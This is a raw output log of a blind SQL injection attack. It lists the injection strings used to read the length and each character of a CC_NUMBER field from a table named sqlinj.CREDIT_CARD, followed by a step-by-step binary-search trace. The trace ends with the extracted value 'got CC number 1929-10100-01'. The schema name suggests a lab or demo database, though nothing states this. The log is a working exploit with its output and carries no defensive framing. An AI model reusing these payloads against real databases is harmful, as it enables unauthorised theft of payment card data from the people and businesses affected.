read a string value using injection string: Budweiser' and ${checkedASCIIValue} > (select ascii(substr(text,${i-thPosition},1)) from (select text from (select CC_NUMBER text, row_number() over (order by rowid) rn from sqlinj.CREDIT_CARD) where rn = 1)) and '1'='1 get the length of the string first... read a numeric value using injection string: Budweiser' and ${checkedNumber} > (select length(text) from (select text from (select CC_NUMBER text, row_number() over (order by rowid) rn from sqlinj.CREDIT_CARD) where rn = 1)) and '1'='1 starting with upper limit ... 16 testing 8 ...lower or equal testing 12 ...lower or equal testing 14 ...higher testing 13 ...lower or equal found 13 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... lower or equal testing 52 ... higher testing 50 ... higher 1. position = 49 1 testing 79 ... higher testing 55 ... lower or equal testing 67 ... higher testing 61 ... higher testing 58 ... higher testing 56 ... lower or equal testing 57 ... lower or equal 2. position = 57 9 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... lower or equal testing 52 ... higher testing 50 ... lower or equal testing 51 ... higher 3. position = 50 2 testing 79 ... higher testing 55 ... lower or equal testing 67 ... higher testing 61 ... higher testing 58 ... higher testing 56 ... lower or equal testing 57 ... lower or equal 4. position = 57 9 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... higher testing 46 ... higher testing 44 ... lower or equal testing 45 ... lower or equal 5. position = 45 - testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... lower or equal testing 52 ... higher testing 50 ... higher 6. position = 49 1 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... higher testing 46 ... lower or equal testing 47 ... lower or equal testing 48 ... lower or equal 7. position = 48 0 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... lower or equal testing 52 ... higher testing 50 ... higher 8. position = 49 1 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... higher testing 46 ... lower or equal testing 47 ... lower or equal testing 48 ... lower or equal 9. position = 48 0 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... higher testing 46 ... lower or equal testing 47 ... lower or equal testing 48 ... lower or equal 10. position = 48 0 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... higher testing 46 ... higher testing 44 ... lower or equal testing 45 ... lower or equal 11. position = 45 - testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... higher testing 46 ... lower or equal testing 47 ... lower or equal testing 48 ... lower or equal 12. position = 48 0 testing 79 ... higher testing 55 ... higher testing 43 ... lower or equal testing 49 ... lower or equal testing 52 ... higher testing 50 ... higher 13. position = 49 1 found 1929-10100-01 >>> got CC number 1929-10100-01